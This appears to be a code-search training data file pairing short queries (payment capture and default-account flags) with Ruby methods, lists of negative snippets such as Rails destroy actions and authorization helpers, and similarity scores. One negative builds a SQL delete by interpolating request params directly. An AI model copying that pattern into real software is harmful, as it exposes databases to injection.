destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @openmapa = Openmapa.find(params[:id])\n @openmapa.destroy\n\n respond_to do |format|\n format.html { redirect_to(openmapas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @correspondence = Correspondence.find(params[:id])\n @correspondence.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @affiliate = Affiliate.find(params[:id])\n @affiliate.destroy\n\n respond_to do |format|\n format.html { redirect_to(affiliates_url) }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vacation = Vacation.find(params[:id])\n @vacation.destroy\n\n respond_to do |format|\n format.html { redirect_to(vacations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @journal_entry = JournalEntry.find(params[:id])\n @journal_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_entries_url) }\n format.xml { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy \n get_system\n @nav_entry = NavEntry.find(params[:id])\n @nav_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(system_url(@system)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ordendetalle = Ordendetalle.find(params[:id])\n @ordendetalle.destroy\n\n respond_to do |format|\n format.html { redirect_to(ordendetalles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # @activity.destroy\n # instead lets be lets be more gentle:\n @activity.archived = true;\n @activity.save\n respond_to do |format|\n format.html { redirect_to(:action => 'index', :page => params[:page] || 1) }\n format.xml { head :ok }\n end\n end", "def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end", "def destroy\n @segment = Segment.find(params[:id])\n @segment.destroy\n\n respond_to do |format|\n format.html { redirect_to(worldreach_segments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @settlement = @transaction.settlements.find(params[:id])\n @settlement.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_transaction_settlements_url(@client, @transaction)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @atividade_avaliacao = AtividadeAvaliacao.find(params[:id])\n @atividade_avaliacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(atividade_avaliacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @navigation_entry = NavigationEntry.find(params[:id])\n @navigation_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(navigation_entries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ocupation = Ocupation.find(params[:id])\n @ocupation.destroy\n\n respond_to do |format|\n format.html { redirect_to(ocupations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @attestation = Attestation.find(params[:id])\r\n @attestation.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to attestations_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @cabo_eleitoral = CaboEleitoral.find(params[:id])\n @cabo_eleitoral.destroy\n\n respond_to do |format|\n format.html { redirect_to(cabo_eleitorals_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alignment = Alignment.get(params[:id])\n alignments = Alignment.all(:alignment_name => @alignment.alignment_name)\n alignments.each do |a|\n a.deleted_at = Time.now\n a.save\n end\n\n respond_to do |format|\n format.html { redirect_to(alignments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @akt.destroy\n respond_to do |format|\n format.html { redirect_to akts_url, notice: 'Акт видалено' }\n format.json { head :no_content }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @lek = Lek.find(params[:id])\n @lek.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(leks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @catena = Catena.find(params[:id])\n @catena.destroy\n\n respond_to do |format|\n format.html { redirect_to(catenas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @nom = Nom.find(params[:id])\n @nom.destroy\n\n respond_to do |format|\n format.html { redirect_to(noms_url) }\n format.xml { head :ok }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @inventario = Inventario.find(params[:id])\n @inventario.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventarios_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.67681015", "0.6438368", "0.63879585", "0.6378644", "0.6357101", "0.6355549", "0.63552016", "0.6332766", "0.63288426", "0.62855387", "0.62809", "0.62789476", "0.62674224", "0.62603086", "0.6244535", "0.6224033", "0.62123626", "0.6189972", "0.61838096", "0.6168901", "0.616695", "0.61634123", "0.6159453", "0.6158462", "0.6153194", "0.61427146", "0.613922", "0.61256516", "0.6123803", "0.61228985", "0.611743", "0.6113552", "0.61056846", "0.6097448", "0.60907316", "0.6087029", "0.6085475", "0.6083122", "0.6078585", "0.60737187", "0.6070584", "0.6069518", "0.60693485", "0.6069123", "0.6068335", "0.60644853", "0.6056304", "0.60509115", "0.6049322", "0.60484606", "0.6044108", "0.6043662", "0.604137", "0.60406965", "0.60400546", "0.6036795", "0.60363835", "0.6035641", "0.6028201", "0.6024678", "0.6021846", "0.6018304", "0.60175633", "0.60077125", "0.60032475", "0.60026205", "0.60012585", "0.5994556", "0.5994556", "0.59939927", "0.59914345", "0.5990687", "0.5988777", "0.5985478", "0.5984126", "0.5983491", "0.59825426", "0.5979534", "0.59720165", "0.5969341", "0.5969039", "0.5968718", "0.5968588", "0.59667", "0.5965771", "0.59635836", "0.5963018", "0.59622055", "0.596132", "0.59589094", "0.5957668", "0.59537935", "0.5951911", "0.5949708", "0.5946808", "0.5943932", "0.59427863", "0.59427863", "0.59427863", "0.5942592" ]
0.68998826
0
Sets flag to automatically capture after authorize
def add_purchase(post) post[:capture] = 'Y' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pre_authorize_cb=(_arg0); end", "def pre_authorize_cb; end", "def authorize\n end", "def authorize\n end", "def authorize(verb); send_or_default(\"authorize_#{verb}\",true) ; end", "def request_phase\n redirect authorize_endpoint_url\n end", "def authorize\n redirect_to root_path unless current_recruiter\n end", "def authorize!\n redirect '/auth' unless authorized?\n end", "def authorize\n redirect_to login_path and return unless current_user\n @current_user.touch(:seen_at)\n end", "def authorize!(user)\n\t\treturn false if authorized?\n\t\tself.user = user\n\t\tself.authorized_at = Time.now\n\t\tself.verifier=OAuth::Helper.generate_key(20)[0,20] unless oauth10?\n\t\tself.save\n\tend", "def authorize\n return if current_user\n\n redirect_to login_url\n end", "def authorize \n self.make 'authorization' \n end", "def authorize!\n redirect to(\"/login?to=#{request.path}\", true, false) unless has_auth?\n end", "def request_authorization\n create_ticket\n verify_resource_owner or return\n render_authorize_form\n end", "def authorize!\n\t\t\tredirect '/login' unless authorized?\n\t\tend", "def authorize(_subject, _auth)\n false\n end", "def authorization_mode=(mode); end", "def authorize_me\n authorize_ip_address(Fog::CurrentMachine.ip_address)\n end", "def run_filters\n set_user\n authorize\n end", "def authorize\n redirect_to new_session_path unless logged_in?\n end", "def authorize\n redirect_to '/' unless current_user || current_dealer\n end", "def authorize\n\t if session[:user_id].nil?\n\t\t session[:original_uri] = request.request_uri\n\t\t redirect_to(login_path)\n\t\t flash[:notice] = \"Please login or sign up to access The Mashera Project!\"\n\t end\n end", "def authorize # we can call it anything\n redirect_to '/login' unless current_user # if there is a current user then it will never redirect\n end", "def authorize_request\n puts \"Authorize request\"\n @current_user = nil\n @current_user = (AuthorizeApiRequest.new(request.headers).call)[:user]\n end", "def authorize_request\n @current_user = AuthorizeApiRequest.new(request.headers).call[:user]\n\n # Check if the user record is ban and cancel all actions\n json_response({ error: 'Bannis' }, :unauthorized_request) if @current_user.isBan\n\n # Check achievements in all queries by the user, three times out of ten\n @current_user.check_achievements if rand(10) >= 7\n end", "def set_authorization\n @user ||= current_user\n authorize @user\n end", "def authorize\n redirect_to new_session_path unless current_user #call method curent_user in sessions_helper\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize_request\n @current_user = (AuthorizeApiRequest.new(request.headers).call)[:user]\n @exp = (AuthorizeApiRequest.new(request.headers).call)[:exp]\n end", "def authorize\n redirect_to new_session_path unless logged_in?\n end", "def authorize!\n if current_user && current_user.clearance_level > 1\n return true\n else\n respond_to do |format|\n format.html do\n redirect_to main_app.new_session_path\n end\n format.json do\n render status: 403, nothing: true\n end\n end\n end\n end", "def authorize!\n session[:authorize_redirect_url] = request.url\n login_url = settings.browserid_login_url\n redirect login_url unless authorized?\n end", "def set_current_user\n current_user\n authorize\n end", "def authorized?\n true\n end", "def authorization_mode; end", "def authorized\n redirect_to '/signin' unless current_driver\n end", "def authorize?(user)\n true\n end", "def authorize\n\t\tredirect_to '/login' unless current_user\n\tend", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize!(current_user)\n RailsMiniProfiler::User.current_user = current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n Flickr.authorize(ENV['FRESH_AUTH'])\nend", "def auth_process\n\t\tif @auth_file.authorization.nil?\n \t\t\tmake_auth\n\t\telse\n\t\t\[email protected] = @auth_file.authorization\n\t\tend\n\tend", "def try_authorize\n authorize = Authorize.new(config, settings)\n authorize.configure\n end", "def authorize_author\n redirect_to '/login' unless self.user_access > 1 || current_user.access == 3\n end", "def authorize_with(&blk)\n @authorize_with = blk if blk\n @authorize_with\n end", "def authorize\n redirect_to('/login') unless @current_user\n end", "def authorize(options = {})\r\n # full_res_file_access = ['10.128.99.55','10.128.1.167','10.224.6.10','10.128.99.167','10.128.98.50','10.224.6.26','10.224.6.35','172.16.1.94', '66.234.38.35']\r\n #'65.88.88.115'\r\n # logger = Java::edu.illinois.library.cantaloupe.script.Logger\r\n # logger.debug(\"CONTEXT HASH: #{context}\")\r\n # logger.debug(\"REQUEST URI: #{context['request_uri']}\")\r\n if context['request_uri'].include?(\"info.json\") \r\n true\r\n else \r\n type = is_region?()? \"full_res\" : derivative_type(context['resulting_size'])\r\n # logger.debug(\"TYPE: #{type}\")\r\n rights = get_rights(context['identifier'], context['client_ip'])\r\n allowed = returns_rights?(rights) && is_not_restricted?(rights, type)\r\n # logger.debug(\"ALLOWED? #{allowed}\")\r\n allowed\r\n end\r\n end", "def authorize_for_none\n # Clear all authorizations and create an allow-all entry\n ContentAuthorization.transaction do\n update_privacy_level(ContentAuthorization::AuthInvisible)\n clear_accessors\n end\n end", "def set_user\n authorize\n @user = current_user\n end", "def authorize\n redirect_to :login unless user_signed_in?\n end", "def auth_trap_state\n super\n end", "def authorize_and_capture\n \n resp = StdClass.new \n if self.financial_status == Invoice::FINANCIAL_STATUS_CAPTURED\n resp.error = \"Funds for this invoice have already been captured.\"\n else\n \n sc = self.site.store_config \n case sc.pp_name \n when StoreConfig::PAYMENT_PROCESSOR_STRIPE\n \n Stripe.api_key = sc.stripe_secret_key.strip\n bt = nil\n begin\n c = Stripe::Charge.create(\n :amount => (self.total * 100).to_i,\n :currency => 'usd',\n :customer => self.customer.stripe_customer_id,\n :capture => true,\n :metadata => { :invoice_id => self.id },\n :statement_descriptor => \"#{self.site.description.truncate(22)}\"\n ) \n rescue Exception => ex\n resp.error = \"Error during capture process\\n#{ex.message}\" \n end \n if resp.error.nil?\n InvoiceTransaction.create(\n :invoice_id => self.id,\n :transaction_id => c.id,\n :transaction_type => InvoiceTransaction::TYPE_AUTHCAP,\n :payment_processor => sc.pp_name,\n :amount => c.amount / 100.0,\n :captured => true,\n :date_processed => DateTime.now.utc,\n :success => c.status == 'succeeded'\n )\n if c.status == 'succeeded'\n self.financial_status = Invoice::FINANCIAL_STATUS_CAPTURED\n self.save\n resp.success = true\n else\n resp.error = \"Error capturing funds.\"\n end\n end\n \n end \n end \n return resp\n end", "def authorized?\n true\n end", "def authorize\n redirect_to login_url, alert: \"Not authorized\" if !current_user\n end", "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "def authorization; end", "def authorize(amount, card_number, card_expiry, cvv, reference, customer_ip)\n\t\t\traise \"Sorry we haven't compelted this functionality yet.\"\n\t\tend", "def grant_authorization\n create_verification_code if authorized?\n redirect_back\n end", "def authorize!\n redirect '/' unless logged_in?\n end", "def force_authorize\n allow_any_instance_of(ApplicationController)\n .to receive(:authorize)\n .and_return(true)\n end", "def authorize_request\n @current_driver = (AuthorizeApiRequest.new(request.headers).call)[:driver]\n end", "def access_control\n \n end", "def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end", "def authorize!(purchase)\n post(purchase, \"#{collection_path}/authorize\")\n end", "def authorize!(purchase)\n post(purchase, \"#{collection_path}/authorize\")\n end", "def authorize_with(&blk)\n @authorize_with = blk if blk\n @authorize_with\n end", "def authorize?(_user)\n true\n end", "def authorize?(_user)\n true\n end", "def authorize\n redirect_to signup_path unless current_user\n end", "def force_auth\n\t\tlogger.debug \" Callback: force_auth\"\n\t\tsession[:last_ts] = nil\n\t\tCASClient::Frameworks::Rails::Filter.filter self unless @current_user\n\tend", "def authorize_token(auth_token)\n cache_token(auth_token)\n info(true) # force a refresh\n\n authorized?\n end", "def authorize(record, query = nil)\n return record if Rails.env.test?\n super\n end", "def set_and_authorize_sdgtarget_indicator\n @sdgtarget_indicator = policy_scope(base_object).find(params[:id])\n authorize @sdgtarget_indicator\n end", "def authorize\n if current_user.nil?\n redirect_to login_url, alert: \"Please Log in or Sign Up to comment!\"\n \tend\n end", "def authorize_record(action, record)\n true\n end", "def set_request\n @request = Request.find(params[:id])\n authorize @request\n end", "def set_access\n @access = @current_event.accesses.find(params[:id])\n authorize @access\n end", "def authorize\n if @api_user\n authorize_user\n else\n authorize_unauthenticated_user\n end\n end", "def authorize_agent\r\n unless session[:user_id] and\r\n User.find(session[:user_id]).level >= 1\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"agent_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end", "def authorize\n if !user_signed_in?\n redirect_to new_user_session_path\n end\n end", "def set_redirect\n @redirect = policy_scope(Redirect).find(params[:id])\n authorize @redirect\n end", "def authorize\n redirect_to login_url, alert: \"Not authorized\" if current_user.nil?\n end", "def authorize\n redirect_to login_url, alert: \"Not authorized\" if current_user.nil?\n end", "def authorize\n redirect_to login_url, alert: \"Not authorized\" if current_user.nil?\n end", "def authorize_with_policy_method(name)\n @authorize_with_policy_method_name = name\n end", "def authorized!\n redirect_to root_url, alert: \"You need to be set up for receiving whispers first\" and return unless current_user\n end", "def grant\n self.status = 'granted'\n save\n end", "def authorize\n redirect_to 'https://delicious.com/auth/authorize?client_id=' + @client_id.to_s + '&redirect_uri=' + delicious_import_url\n end", "def accept! = self.user.create_accepted_request", "def authorize\n redirect_to login_path, alert: 'You must be logged in to access this page.' if current_user.nil?\n end", "def allow_authorize\n if signed_in?\n logger.debug \"Session response_type: #{session[:response_type]}\"\n logger.debug \"Session client_id: #{session[:client_id]}\"\n logger.debug \"Session state: #{session[:state]}\"\n logger.debug \"access token: #{token}\"\n unless check_app_auth(session[:client_id], session[:client_secret], session[:response_type], session[:state])\n if Settings.multi_application == 'true'\n app = App.where(id: session[:client_id]).first\n uri = app.redirect_uri\n renew_token = RenewToken.new(app: app, user: current_user)\n else\n uri = Settings.single_application_mode_url + Settings.single_application_mode_path\n renew_token = RenewToken.new(app: nil, user: current_user)\n end\n if renew_token.save\n response_type = session[:response_type]\n token = current_user.generate_token(session[:client_id])\n state = session[:state]\n destroy_session\n reply_authorize(response_type, uri, state, token, renew_token)\n else\n destroy_session\n # Redirect with error\n redirect_to app.redirect_uri + '?error=server_error'\n end\n end\n else\n redirect_to root_path\n end\n end", "def authorize\n if !current_user\n flash[:alert] = \"Sign in to access that feature.\"\n redirect_to '/posts'\n end\n end", "def auth_pending_driver\n @user.is_driver = true\n @user.pending_driver_verification = false\n NotificationWorker.perform_async(\"became_authorized_driver\", nil, @user.id)\n NotificationWorker.perform_async(\"add_a_car\", nil, @user.id)\n if @user.save\n render nothing: true, status: 204\n else\n render :json => {:error => \"Non è stato possibile effettuare l'operazione.\"}.to_json, :status => 500\n end\n end" ]
[ "0.66869044", "0.6680191", "0.6661135", "0.6661135", "0.6496632", "0.647611", "0.62294614", "0.6065654", "0.6059518", "0.6055667", "0.6039504", "0.60253876", "0.6021499", "0.6017939", "0.5994822", "0.5992807", "0.5990933", "0.59710145", "0.59573424", "0.5952045", "0.59516984", "0.5934759", "0.59280044", "0.5900974", "0.58924526", "0.589206", "0.5870662", "0.5870383", "0.58617204", "0.5860635", "0.58526117", "0.58467907", "0.58379126", "0.5831645", "0.58205396", "0.58192074", "0.58104634", "0.5807291", "0.5804693", "0.5791621", "0.5784205", "0.5784205", "0.5784205", "0.5784205", "0.5784205", "0.5784205", "0.5784205", "0.5784205", "0.57835025", "0.57813615", "0.5776996", "0.57653195", "0.57620263", "0.5761867", "0.5754043", "0.575161", "0.57449895", "0.5736194", "0.5732288", "0.5720795", "0.57199764", "0.57086825", "0.56949896", "0.5688385", "0.56759006", "0.566688", "0.56578124", "0.56550974", "0.5648189", "0.5647394", "0.5642834", "0.56361926", "0.56361926", "0.563016", "0.5626603", "0.5626603", "0.5619788", "0.56148624", "0.5602345", "0.5601715", "0.5598524", "0.5593688", "0.55925184", "0.5591144", "0.557503", "0.5571712", "0.5570742", "0.5555528", "0.5551572", "0.5551303", "0.5551303", "0.5551303", "0.5550765", "0.55481", "0.5541305", "0.5540502", "0.55403876", "0.5539758", "0.55379754", "0.5536716", "0.55322593" ]
0.0
-1
Sets flag to make create/update account the default account
def add_default_account(post) post[:defaultacct] = 'Y' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_defaults\n self.state ||= 'ACTIVE'\n self.account_user_id ||= Gizmo::Util::Uuid.generate\n self.is_owner ||= false\n end", "def set_defaults\n self.state ||= 'NEW'\n self.account_id ||= Gizmo::Util::Uuid.generate\n self.account_name ||= self.subdomain\n end", "def set_default!\n @@default_user = self\n end", "def set_defaults\n\t\tself.email = self.users.first.email if ['student','school_admin','admin'].include? self.role\n\t\tself.uuid = SecureRandom::uuid()\n\t\tself.active = true\n\tend", "def set_defaults\n self.state ||= 'NEW'\n self.user_id ||= Gizmo::Util::Uuid.generate\n end", "def create\n @account = current_user.accounts.new(params[:account])\n \n #respond_to do |format|\n if @account.save\n default_account = Account.count == 1 || (Account.count > 1 && params[:default_account])\n current_user.update_attribute(:default_account, @account.id) if default_account\n\n flash[:notice] = 'Account was successfully created.'\n head :ok\n #format.html { redirect_to(@account) }\n #format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n #format.html { render :action => \"new\" }\n #format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n head :unprocessable_entity\n end\n #end\n end", "def set_as_default(user)\n current_default = user.addresses.find_by(default: true)\n current_default.update_attribute :default, false\n update_attribute :default, true\n end", "def set_default\n self.member.payout_methods.active_only.each do |pm|\n pm.update_attribute(:default, false) if pm.default?\n end\n self.update_attribute(:default, true)\n end", "def assign_default_credit_card\n true\n end", "def save_default_profile(cc_user)\n PaymentProfile.transaction do\n if self.default == true\n PaymentProfile.update_all( { default: false },\n { payment_profiles: {\n user_id: cc_user.id,\n } }) if cc_user\n end\n self.user = cc_user\n self.save\n end\n end", "def create_default_admin\n admin_user = User.create!({\n email: '[email protected]',\n first_name: 'Admin',\n last_name: 'the Administrator',\n password: 'creativefresno',\n password_confirmation: 'creativefresno',\n remember_me: false\n })\n\n admin_user.update_attribute :admin, true\nend", "def set_defaults\n self.availability ||=false\n self.email ||= @profile.user.email\n end", "def set_current_user_to_creator_if_empty(options, current_user:, **)\n if options['contract.default'].creator_id\n true\n else\n options['contract.default'].creator_id = current_user.id\n end\n end", "def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end", "def set_default\n cmd = \"{\\\"id\\\":8,\\\"method\\\":\\\"set_default\\\",\\\"params\\\":[]}\\r\\n\"\n request(cmd)\n end", "def make_default!\n result = gateway.customer.update(customer.processor_id, default_payment_method_token: processor_id)\n raise Pay::Braintree::Error, result unless result.success?\n result.success?\n end", "def make_default!\n result = gateway.customer.update(customer.processor_id, default_payment_method_token: processor_id)\n raise Pay::Braintree::Error, result unless result.success?\n result.success?\n end", "def default?\n is_default == true or user.accounts.count == 1\n end", "def create_default_settings\n setting = Setting.new\n setting.user_id = self.id\n setting.save!\n end", "def set_default\n end", "def determine_default_account_name\n Cadenero.default_account_name = options[\"default-account-name\"].presence ||\n ask(\"What will be the name for the default account? [Root Account]\").presence ||\n 'Root Account'\n end", "def default\n asset = ToolbawksAsset.find(params[:id])\n default = (asset.default ? false : true)\n \t\tasset.update_attributes!(:default => default)\n\n \t\t# Render nothing to denote success\n render :text => \"Successfully set the default flag for the asset\"\n end", "def set_default_role\n update_attribute :roles, [UserRoles::CUSTOMER] if roles.empty?\n end", "def set_defaults\n self.active ||= true\n end", "def add_defaults_local\n super\n self.timestamp ||= Java.now\n self.user ||= default_user\n end", "def set_account\n @account = current_user\n end", "def defaults\n if self.name == \"Alex Ames\" || self.name == \"Ife Runsewe\"\n self.admin ||= true\n else\n self.admin ||= false\n nil #^Leaving a false value on the stack means the model will not be saved.^\n end\n end", "def create\n super\n acc = Account.create!(:company_name => params[:account][:company_name]) unless flash.blank?\n # Set admin and account_id for User \n resource.update_attributes!({:account_id => acc.id, :is_admin => true, :status => SettingsConfig::ENABLED}) unless flash.blank?\n end", "def determine_default_user_password\n Cadenero.default_user_password = options[\"default-user-password\"].presence ||\n ask(\"What will be the password for the default user owner of the default account? [change-me]\").presence ||\n 'change-me'\n end", "def set_default_role!\n clear!\n end", "def set_default_role!\n clear!\n end", "def set_default_role!\n clear!\n end", "def make_default!\n ::Stripe::Customer.update(customer.processor_id, {invoice_settings: {default_payment_method: processor_id}}, stripe_options)\n end", "def new_account=(account)\n @new_account = self.account_ids.include?(account.id) ? nil : account\n end", "def create_admin_account\n account = Account.create!\n self.account = account\n self.account_owner = true\n end", "def create_account\n if new_record? && !self.account_id\n account = Account.new\n account.name = \"Preecha o nome da sua empresa\"\n account.save\n self.account_id = account.id\n self.admin = true\n end\n end", "def set_default_user(user)\n @_default_user = user\n end", "def set_defaults\n self.active ||= false\n end", "def generate_account\n self.account = Account.create(:name => self.email) unless account\n end", "def default?\n account.default_service_id == id\n end", "def set_defaults\n self.is_admin == false\n end", "def check_user_default_profile\n if user.default_profile.nil?\n user.default_profile = self\n end\n end", "def set_default_role\n \tself.role ||= :normal\n end", "def disabled_test_create_account\n create_account()\n end", "def make_account(email: '[email protected]', password: 'aba456',\n admin: false, first: 'John', last: 'Doe') # system admin, not lock admin\n # account is a devise model, must set properties at instance level and not in constructor\n Account.create!(:first_name => first,\n :last_name => last,\n :email => email,\n :password => password,\n :password_confirmation => password,\n :admin => admin,\n :confirmed_at => DateTime.now.utc.iso8601(9),\n :confirmation_sent_at => DateTime.now.utc.iso8601(9)\n )\n end", "def after_create\n super\n create_account\n end", "def add_default_role \n\t\tempty_role_id = self.company.roles.find_by_designation(\"none\").id\n\t\tif self.employees.any? \n\t\t\tself.employees.each do |x| \n\t\t\t\tx.skip_password_validation = true\n\t\t\t\tx.update(role_id: empty_role_id)\n\t\t\tend\n\t\tend\n\tend", "def set_default_role\n self.add_role :merchant\n end", "def make_default!\n current_default = self.addressable.addresses.where(default_address: true).first\n\n if current_default != self\n current_default.update_column :default_address, false if current_default.present?\n self.update_column :default_address, true\n end\n end", "def set_default_role\n if self.admin?\n self.admin!\n else\n self.writer!\n end\n end", "def add_to_wallet\n if !order.temporary_credit_card &&\n order.user_id &&\n order.valid_credit_cards.present?\n # arbitrarily pick the first one for the default\n default_cc = order.valid_credit_cards.first\n # TODO: target for refactoring -- why is order checkout responsible for the user -> credit_card relationship?\n default_cc.user_id = order.user_id\n default_cc.default = true\n default_cc.save\n end\n end", "def set_account\n @account = current_user.accounts.find(current_account.id)\n end", "def set_account\n @account = current_user.accounts.find(current_account.id)\n end", "def reset_account\n @current_account = @options[:brightbox_account]\n end", "def create\n @user_info = UserInfo.new(user_info_params)\n @user_infos = UserInfo.all\n if @user_info.is_default == true\n @user_infos.each do |userinfo|\n userinfo.is_default = false\n userinfo.save\n end\n @user_info.is_default = true\n end\n @user_info.user = current_user\n @user_info.save\n end", "def set_user_setting\n @current_user.create_default_user_setting unless @current_user.user_setting\n @user_setting = @current_user.user_setting\n end", "def meetup_auto_create_account?\n self.meetup_auto_create_account\n end", "def set_defaults\n self.published ||= false\n self.archived ||= false\n self.is_default ||= false\n self.version ||= 0\n self.visibility = ((self.org.present? && self.org.funder_only?) || self.is_default?) ? Template.visibilities[:publicly_visible] : Template.visibilities[:organisationally_visible] unless self.id.present?\n self.customization_of ||= nil\n self.family_id ||= new_family_id\n self.archived ||= false\n self.links ||= { funder: [], sample_plan: [] }\n end", "def assign_default_project \n if current_user \n current_project = self\n current_user.save\n end\n end", "def create_account\n\n end", "def set_default_role\n self.role ||= :standard\n end", "def create_account\n system 'clear'\n puts \"--------LOGIN--------\"\n used_flag = false\n while !used_flag\n new_user = @prompt.ask(\"Enter username: \", required: true)\n if !User.all.map(&:name).include?(new_user)\n new_password = @prompt.mask(\"Enter password: \", required: true)\n used_flag = 1\n else\n puts \"Username already taken\"\n end\n end\n @current_user = User.create(name: new_user, password: new_password)\n main_menu\n end", "def default_values\n self.contact_active = true if contact_active.nil?\n end", "def assign_default_role\n add_role(:owner)\n end", "def set_default_role\n self.role ||= Role.find_by_name('user')\n end", "def account_settings\r\n @person = current_person\r\n end", "def create_initial_account_and_profile!\n account = accounts.create!(name: I18n.t('.default.account.name'))\n profiles.create!(name: I18n.t('.default.profile.name'), account_id: account.id)\n end", "def koala_auto_create_account?\n self.koala_auto_create_account\n end", "def default\n @default = true\n end", "def set_default_role\n self.role ||= :user\n end", "def set_default_role\n self.role ||= :user\n end", "def set_default_role\n self.role ||= :user\n end", "def set_default_role\n self.role ||= :user\n end", "def add_customer_account\n self.create_account! unless self.account\n end", "def new_user options = {}\n User.where(@default_user_credentials.merge(options)).delete_all\n user = User.new @default_user_credentials.merge(options)\n user.login = options['login'] || 'cool_user'\n user\n end", "def defaults\n default_pass = 'demo'\n \n self.step ||= 0 # can be 0, 1, 2, 3 (done)\n @timerange ||= TimeRange.new(Date.today.strftime(\"%F\"), \"15:00\", \"18:00\")\n self.party_of ||= 'single'\n self.host ||= User.new( :completeness => 'discovery', :password => default_pass ) # can receive current_user from the controller\n self.friend ||= User.new( :completeness => 'invite' ) # only validate if it's a single date\n end", "def default_user\n u = User.find_or_create_by_oauth2(default_oauth2_hash)\n create_user_shop(u)\n u\n end", "def default_password\n self.password = \"password_dummy\"\n self.password_confirmation = \"password_dummy\"\n end", "def assign_default_role\n 